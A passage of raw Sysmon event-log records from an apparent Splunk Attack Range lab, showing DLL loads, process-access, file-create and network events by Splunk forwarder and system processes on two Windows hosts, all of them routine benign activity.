15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000054687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000054685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000054673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000054668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.290{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.291{7BD73061-742D-613B-8E0B-00000000F001}5848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000054661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.145{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-059MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017576Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:17.521{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50368-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017575Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:18.106{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FEE1EAE319D09507822B82A37C138A82,SHA256=F90F4944E61EEC8FF44F258DACECB1A9FD592A222FDE5F5B2927BB577226E0FB,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000054823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.742{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000054822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.742{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.742{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000054820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.573{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F4A760481CD0E2A3ECDFDABCE3EB3EA6,SHA256=7B463BBE61EC87568625A2ABDCB30592068ED7992169B50FF2DA9AF2978E52D3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000054819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.542{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.542{7BD73061-742E-613B-900B-00000000F001}2596C:\Program 